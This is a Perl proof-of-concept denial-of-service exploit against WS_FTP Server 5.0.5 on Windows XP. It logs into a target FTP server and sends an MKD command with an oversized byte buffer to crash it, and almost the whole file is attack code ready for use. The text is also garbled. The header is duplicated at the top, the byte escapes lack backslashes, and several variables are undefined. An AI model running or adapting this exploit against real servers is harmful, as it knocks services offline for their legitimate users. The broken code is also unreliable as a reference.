#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: WS_FTP Server 5.0.5 - Denied of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 30 january 2024< #!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: WS_FTP Server 5.0.5 - Denied of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 30 january 2024
# Vendor Homepage: N/A
# Notification vendor: No reported
# Tested Version: 5.0.5
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denied of Service (DoS)

#1. Description about vunerability and exploited

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit we intentionally increased the number of bytes sent to the server to process.
#We concluded that the FTP server does not correctly manage the amount of data or bytes sent and processed, causing denied service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

my $exploit = "x41"x676;
$exploit .= "x00x7ex2bx26x3dx25x3ax22x0ax0dx20x2fx5cx2e";
$exploit .= "x42"x3000;
$exploit .= " ";

my $sock = IO::Socket::INET->new(
PeerAddr => $target->$ip,
PeerPort => $target->$port,
Proto => 'tcp',
) or die "Not connect to $ip:$port: $!";

my $response = <$sock>;
print "Connected => $response";

$sock->send("USER $ftp_user ");
$response = <$sock>;
print "Authentication USER: $response";

$sock->send("PASS $ftp_pass ");
$response = <$sock>;
print "Authentication PASSWORD: $response";

$sock->send("MKD ".$exploit);
$response = <$sock>;
print "Exploited : $response";

sub intro {
print q {

---------- # ------------------------------------------------------------------
--------- ##= ------- [+] WS_FTP Server 5.0.5 - Denied of Service (DoS) -------
-------- ##=== ----------------------------------------------------------------
------ ###==#=== --------------------------------------------------------------
---- ####===##==== ------------------------------------------------------------
-- #####====###===== ----- Coded by Fernando Mengali -----
- #####=====####===== ----- fernando.mengalli@gmail.com -----
- #####=====####===== ---------------------------------------------------------
--- ####= # #==== -------- Prepare to exploiting the server ------------
--------- ##= -----------------------------------------------------------------
------- ####=== ---------------------------------------------------------------

}
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " Usage: $0 <ip> <port> ";
exit(-1);

}
}